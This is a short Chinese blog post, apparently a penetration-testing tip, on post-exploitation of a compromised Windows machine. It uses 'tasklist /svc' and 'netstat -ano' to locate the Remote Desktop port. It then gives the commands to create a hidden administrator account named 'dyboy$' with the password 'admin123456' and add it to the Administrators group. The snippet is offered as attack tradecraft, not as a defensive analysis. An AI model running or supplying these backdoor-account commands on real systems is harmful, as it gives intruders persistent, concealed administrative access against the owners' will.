【摘要】在我们后期提权的过程中，成功添加账号密码tasklist/svc//在输出的内容中查找svchost.exe进程下termservice服务对应的PIDnetstat-ano//即可找到PID对应的开放端口，即远程桌面开放端口然后就是一顿提权猛如虎ne...

在我们后期提权的过程中，成功添加账号密码

tasklist /svc
//在输出的内容中查找svchost.exe进程下termservice服务对应的PID
netstat  -ano
//即可找到PID对应的开放端口，即远程桌面开放端口

然后就是一顿提权猛如虎
net user dyboy$ admin123456 /add
net localgroup Administrators dyboy$ /add

 小东
 简介：专业团队网站开发、安全运维，合作意向请联系！